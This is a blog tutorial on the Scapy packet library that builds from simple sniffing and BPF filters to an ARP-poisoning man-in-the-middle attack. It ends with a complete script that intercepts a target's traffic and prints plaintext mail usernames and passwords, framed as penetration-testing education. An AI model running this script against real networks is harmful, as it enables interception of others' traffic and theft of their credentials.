First, you should already be familiar with Wireshark (and/or TShark), Berkly Packet Filter Syntax (BPF), and the general concepts of sniffing traffic. If you are not, I have included some helpful resources at the bottom. Also, If you want a refresher check out the many courses on https://www.Cybrary.it
Capturing Packets
Scapy has the mentality "Capture once, process any number of times" built into how it views and treats packets. In it's simplest form, you can begin to capture packets in 1 line (not including the imports)import sys
from scapy.all import *
print sniff(iface=sys.argv[1])
Just run that in a python file and pass it the interface you want to capture as the first argument. Wait for a bit (or open another terminal and ping a site). The hit Ctrl-C to exit. You should see a summary like the one below.
![]() |
Result of sniffing during an outbound ping |
It's worth mentioning that you can do it without the interface argument to sniff on all interfaces by default. Alright. Not bad so far. Not really useful either, though. Next, let's discuss what to do with a packet when it is captured. A really nice thing to do would to be to count how many packets have been seen, save them to a pcap file, and dump each one's contents to the screen. All of these things can easily be accomplished as well. Scapy allows you to define a parameter which is a pointer to a callback function. The function should take one argument (which contains the captured packet). Create a function called packet_recv(packet) to handle the grunt work
![]() |
A custom packet processing function |
![]() |
A snippet of an ICMP packet. |
The .show() output is fun to watch for a minute or two but doesn't really allow you the time you need to do analysis. Good thing it is logging all the packets to a pcap file called "sniffer.pcap" now. The additional prn=packet_recv parameter to the sniff function tells it where to send the packets.
Filtering Traffic
On a busy network you might not want all the packets, all the time.
Sometimes you want to watch for a very specific set of packets. This is
where the Berkly Packet Filter Syntax comes into play. I highly HIGHLY
suggest reading the BPF syntax breakdown in the Resources section for
more in-depth information on that. For now, I am going to focus on a
couple of useful and easy to grasp filters and leave it to you to expand
on. To make the sniffer understand BPF we only need to make one small change. Add filter=sys.argv[2] to the sniff function's parameters
sniff(iface=sys.argv[1], filter=sys.argv[2], prn=packet_recv)
![]() |
results of a scan with the filter "port 80" |
- udp port 53 - Monitor DNS queries
- net 192.168.1.1/22 and port 80 - Grab http traffic from a certain network segment.
- (port 80 or port 443) and not host 192.168.1.182 - Web traffic excluding a particular host
- tcp port 80 or tcp port 21 or tcp port 23 or tcp port 25 - Popular Plain-Text protocols
ARP Sniff and Spoof
Sniffing your own traffic can be fun. Especially when you want to understand what a local application is doing on a network exactly. That is only one side of the coin, though. on the other side you have the rest of the network's communications. in modern networks it is becoming a rarity to find a hub. Indeed promiscuous mode by itself has become less helpful for snooping on the network traffic of other users. Luckily, there are a couple of ways around this. One is get control of the router device. That is out of the scope of this post though. Another option is to trick your target and gateway into sending you the traffic in a true Man in the Middle (MitM) attack. Below is a rough outline of the steps to an ARP Poisoning attack- Record Gateway MAC address (from IP)
- Record Target MAC address (from IP)
- Turn on packet forwarding
- Start sniffing on the interface
- Craft unsolicited ARP response telling the gateway we are the new target
- Craft unsolicited ARP response telling the target we are the new gateway
- resend as needed to keep the target(s) poisoned.
- When finished, reverse the changes so the target never loses connectivity
![]() |
A function to start intercepting traffic |
![]() |
The left cmd is before the ARP poisoning, the right is after. The attacker's view is in the middle. |
Finally, at program startup, you register your interrupt handler with the system using the signal module.
Beautification
If you were paying close attention to the images you might have noticed I was using more tradition argument flags like -t (as opposed to the positional arguments as presented here. I often develop the core script first then go back over it and add an argument parser. In this case I identified logic to apply filters, choose ARP poisoning targets, save pcaps, etc.Conclusion
What I have covered here is only the smallest glimpse of a fraction of the surface Scapy can be used to cover. Since Scapy can be used to both send and receive packets it could make a useful proxy. It can be used to test other pcap analysis signatures. The list goes on and on. I can say without a doubt that the Scapy module is an invaluable asset in the Pentester's arsenal. Spending the time to learn it's uses will pay you back in the long run.Here is the full code (Including some features and logic I left out for brevity):
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
from optparse import OptionParser | |
import threading | |
import signal | |
import sys | |
# Globals | |
packet_count = 0 | |
INTERFACE = "" | |
target_ip = "" | |
target_mac = "" | |
gateway_ip = "" | |
gateway_mac = "" | |
bpf_filter = "" | |
packet_max = None | |
poisoning = False | |
is_poisoned = False | |
outfile = None | |
verbose = False | |
protocols = { | |
1: "(ICMP)", | |
2: "(IGMP)", | |
3: "Gateway-to-Gateway Protocol", | |
4: "IP in IP Encapsulation", | |
6: "(TCP)", | |
17: "(UDP)", | |
47: "General Routing Encapsulation (PPTP data over GRE)", | |
51: "(AH) IPSec", | |
50: "(ESP) IPSec", | |
8: "(EGP)", | |
3: "Gateway-Gateway Protocol (GGP)", | |
20: "Host Monitoring Protocol (HMP)", | |
88: "(IGMP)", | |
66: "MIT Remote Virtual Disk (RVD)", | |
89: "OSPF Open Shortest Path First", | |
12: "PARC Universal Packet Protocol (PUP)", | |
27: "Reliable Datagram Protocol (RDP)", | |
89: "Reservation Protocol (RSVP) QoS" | |
} | |
service_guesses = { | |
21: "FTP", | |
22: "SSH", | |
23: "TELNET", | |
25: "SMTP", | |
53: "DNS", | |
80: "HTTP", | |
110: "POP3", | |
115: "Simple File Transfer Protocol", | |
118: "SQL Services", | |
123: "NTP", | |
137: "NetBIOS Name Service", | |
138: "NetBIOS Datagram Service", | |
139: "NetBIOS Session Service", | |
143: "IMAP", | |
152: "Background File Transfer Protocol (BFTP)", | |
156: "SQL Services", | |
161: "SNMP", | |
194: "IRC", | |
199: "SNMP Multiplexing (SMUX)", | |
220: "IMAPv3", | |
280: "http-mgmt", | |
389: "LDAP", | |
443: "HTTPS", | |
464: "Kerb password change/set", | |
500: "ISAKMP/IKE", | |
513: "rlogon", | |
514: "rshell", | |
530: "RPC", | |
543: "klogin, Kerberos login", | |
544: "kshell, Kerb Remote shell", | |
3306: "MySQL", | |
5432: "PostgreSQL" | |
} | |
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac): | |
# slightly different method using send | |
print "[+] Restoring target..." | |
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5) | |
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5) | |
def get_mac(ip_address): | |
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10) | |
# return the MAC address | |
for s,r in responses: | |
return r[Ether].src | |
return None | |
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac): | |
global poisoning | |
poison_target = ARP(op=2, | |
psrc=gateway_ip, | |
pdst=target_ip, | |
hwdst=target_mac) | |
poison_gateway = ARP(op=2, | |
psrc=target_ip, | |
pdst=gateway_ip, | |
hwdst=gateway_mac) | |
print "[+] Beginning the ARP poisoning." | |
while poisoning: | |
send(poison_target) | |
send(poison_gateway) | |
time.sleep(2) | |
print "[+] ARP poisoning Finished." | |
restore_target(gateway_ip, gateway_mac, target_ip, target_mac) | |
return | |
# Mail Creds check | |
def mail_creds(packet): | |
if packet[TCP].payload: | |
mail_packet = str(packet[TCP].payload) | |
if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): | |
print "[+] Server: %s" % packet[IP].dst | |
print "[+] %s" % packet[TCP].payload | |
def arp_display(packet): | |
if packet[ARP].op == 1: #who-has (request) | |
return "Request: " + packet[ARP].psrc + " is asking about " + packet[ARP].pdst | |
if packet[ARP].op == 2: #is-at (response) | |
return "*Response: " + packet[ARP].hwsrc + " has address " + packet[ARP].psrc | |
## Define Base Action function for sniffer | |
def packet_recv(packet): | |
global packet_count | |
global verbose | |
global outfile | |
packet_count += 1 | |
# append packet to output file | |
if outfile: | |
wrpcap(outfile, packet, append=True) | |
if verbose: | |
packet.show() | |
p = packet[0][1] | |
try: | |
proto_name = protocols[packet.proto] | |
except: | |
proto_name = "(unknown)" | |
svc_guess_local = decode_protocol(p) | |
svc_guess_remote = decode_protocol(p, False) | |
if svc_guess_remote and svc_guess_remote in ["IMAP","POP3","SMTP"]: | |
if verbose: | |
print "[+] Checking for mail creds" | |
mail_creds(packet) | |
elif ARP in packet: | |
if verbose: | |
print "[+] ARP packet being sent to ARP specific function" | |
arp_display(packet) | |
return "[%s] %s Packet: %s (%s) ==> %s (%s)" % (packet_count, | |
proto_name, | |
p.src, | |
svc_guess_local, | |
p.dst, | |
svc_guess_remote) | |
def decode_protocol(packet, local=True): | |
if local: | |
try: | |
if packet.sport in service_guesses.keys(): | |
# in list. convert to likely name | |
svc_guess = service_guesses[packet.sport] | |
else: | |
# not in list, use port nubmer for later analysis | |
svc_guess = str(packet.sport) | |
except AttributeError: | |
svc_guess = None | |
else: | |
try: | |
if packet.dport in service_guesses.keys(): | |
# in list. convert to likely name | |
svc_guess = service_guesses[packet.dport] | |
else: | |
# not in list, use port nubmer for later analysis | |
svc_guess = str(packet.dport) | |
except AttributeError: | |
svc_guess = None | |
return svc_guess | |
def signal_handler(signal, frame): | |
global poisoning | |
if poisoning: | |
print "\n[+] Shutting Down ARP poisoning." | |
poisoning = False | |
time.sleep(1) | |
print "[+] Goodbye, Dr. Falken :)\n" | |
sys.exit(0) | |
if __name__ == "__main__": | |
signal.signal(signal.SIGINT, signal_handler) | |
parser = OptionParser() | |
parser.add_option("-a", "--arp-poison", dest="ARPPoison",action="store_true", default=False, | |
help="Try to Poison ARP cache for MITM") | |
parser.add_option("-i", "--iface", dest="iface",default=None, | |
help="The network interface to bind to.") | |
parser.add_option("-t", "--target", dest="targetIP",default=None, | |
help="The target IP for ARP Poisoning") | |
parser.add_option("-g", "--gate-way", dest="gateIP",default=None, | |
help="The Gateway IP for ARP Poisoning") | |
parser.add_option("-n", "--max-num", dest="N",default=None, | |
help="Stop Capture after N packets") | |
parser.add_option("-f", "--filter", dest="filter", default="ip", | |
help="Add a custom BPF (Wireshark-style Packet Filter)") | |
parser.add_option("-o", "--out-file", dest="fileName", default=None, | |
help="Add a custom BPF (Wireshark-style Packet Filter)") | |
parser.add_option("-v", "--verbose", dest="verb",action="store_true", default=False, | |
help="Display packet contents verbosely") | |
(options, args) = parser.parse_args() | |
if options.iface: | |
INTERFACE = options.iface.strip() | |
if options.fileName: | |
outfile = options.fileName | |
if options.filter: | |
bpf_filter = options.filter | |
if options.verb: | |
verbose =True | |
# ARP Poison? | |
if options.ARPPoison: | |
poisoning = True | |
try: | |
gateway_ip = options.gateIP | |
target_ip = options.targetIP | |
gateway_mac = get_mac(gateway_ip) | |
target_mac = get_mac(target_ip) | |
if gateway_mac is None: | |
print "[-] Failed to get Gateway MAC. Exiting." | |
exit(1) | |
else: | |
print "[+] Gateway %s is at %s" % (gateway_ip,gateway_mac) | |
if target_mac is None: | |
print "[-] Failed to get Target MAC. Exiting." | |
exit(1) | |
else: | |
print "[+] Target %s is at %s" % (target_ip,target_mac) | |
# Start the poisoning thread | |
conf.iface = INTERFACE | |
conf.verb = 0 | |
t = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac)) | |
t.daemon = True | |
t.start() | |
except Exception as e: | |
print "[-] ARP poisoning Failed" | |
print e | |
exit(1) | |
# Start capturing | |
se = INTERFACE or "all interfaces" | |
print "[+] Beginning Capture on: %s" % se | |
# Setup sniffering for traffic | |
if options.N: | |
packet_max = int(options.N) | |
print "[+] Limiting capture to %d packets" % packet_max | |
packets = sniff(filter=bpf_filter, | |
iface=INTERFACE, | |
prn=packet_recv, | |
count=packet_max) | |
# write out the captured packets | |
print "[+] Writing packets to %s" % outfile | |
wrpcap(outfile, packets) | |
else: | |
sniff(filter=bpf_filter, | |
iface=options.iface, | |
prn=packet_recv, | |
store=0) |
Resources
BPF Syntax - The best breakdown I have found to date.http://www.infosecwriters.com/text_resources/pdf/JStebelton_BPF.pdf
Scapy Cheat Sheet
https://blogs.sans.org/pen-testing/files/2016/04/ScapyCheatSheet_v0.2.pdf
A handy Cheat sheet. it is for wireshark, but there is a lot of overlap. Plus, who doesn't love a good Wireshark Cheat Sheet?
http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
BlackHat Python: no Starch Press
https://www.nostarch.com/blackhatpython
Wifitap uses Scapy to achieve an awesome way of direct communication
http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html
No comments:
Post a Comment